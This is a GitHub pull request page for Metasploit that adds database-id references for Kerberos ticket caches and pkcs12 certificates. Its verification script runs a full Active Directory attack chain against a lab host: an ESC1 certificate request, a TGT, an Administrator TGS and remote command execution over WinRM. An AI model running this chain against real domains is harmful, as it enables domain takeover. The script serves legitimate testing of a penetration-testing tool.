Skip to content

Add database ref opts for kerberos and pkcs12 #20457

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

adfoster-r7
Copy link
Contributor

Updates modules that reference a Kerberos credential cache path or pkcs12 cert to support reading from a file on disk, or now a database id with the syntax id:123

Example:

image

Verification

Ensure CI passes; Ensure you can run through the workflow of using either files or database ID references as part of module options

Example resource file run with resource resource.rc on msfconsole

resource.rc
reload_lib -a
reload

<ruby>

rhost = "10.140.10.201"

def krb5ccname(value)
  # "#{value.path}"
  "id:#{value.id}"
end

# ICPR cert
run_single("use auxiliary/admin/dcerpc/icpr_cert")
run_single("run rhost=#{rhost} smbuser=sandy smbpass=vagrant smbdomain=ad.pro.local ca=mspro-dc-ad-pro-local-CA cert_template=esc1 [email protected]")

cert = framework.db.creds({ type: 'Metasploit::Credential::Pkcs12' }).last
puts "Stored pkcs12: id=#{cert.id} public=#{cert.public} cert=#{cert.private['metadata'].inspect}"

# Request TGT
run_single("use admin/kerberos/get_ticket")
run_single("rerun action=GET_TGT rhost=#{rhost} cert_file=id:#{cert.id}")

tgt = framework.db.loot({ ltype: 'mit.kerberos.ccache' }).sort_by(&:id).last
puts "Stored tgt: id=#{tgt.id} info=#{tgt.info}"

# Request TGS for winrm
run_single("use admin/kerberos/get_ticket")
run_single("run action=GET_TGS rhosts=#{rhost} Krb5Ccname=#{krb5ccname(tgt)} username=Administrator domain=ad.pro.local spn=http/mspro-dc KrbCacheMode=none")

tgs = framework.db.loot({ ltype: 'mit.kerberos.ccache' }).sort_by(&:id).last
puts "Stored tgs: id=#{tgs.id} info=#{tgs.info}"

# Verify smb_login with TGS
run_single("use auxiliary/scanner/winrm/winrm_cmd")
run_single("run rhost=#{rhost} username=Administrator domain=ad.pro.local cmd=whoami winrm::rhostname=mspro-dc domaincontrollerrhost=#{rhost} Winrm::Auth=kerberos KrbCacheMode=none winrm::krb5ccname=#{krb5ccname(tgs)}")
</ruby>

@adfoster-r7 adfoster-r7 force-pushed the add-database-ref-opts-for-kerberos-and-pkcs12 branch from d087c0c to 1b70b54 Compare August 11, 2025 11:11
@adfoster-r7 adfoster-r7 force-pushed the add-database-ref-opts-for-kerberos-and-pkcs12 branch 2 times, most recently from 571e25d to 740180e Compare August 12, 2025 14:02
Comment on lines 364 to 366
when '--id'
cred_table_columns.unshift('id')
show_id = true
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Let's show the ID by default. This would align it with the klist and certs command to make it a bit more consistent.

@adfoster-r7 adfoster-r7 force-pushed the add-database-ref-opts-for-kerberos-and-pkcs12 branch 8 times, most recently from 5c3269e to d13dc19 Compare August 18, 2025 10:13
@adfoster-r7 adfoster-r7 force-pushed the add-database-ref-opts-for-kerberos-and-pkcs12 branch from d13dc19 to 0557d63 Compare August 18, 2025 14:56
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants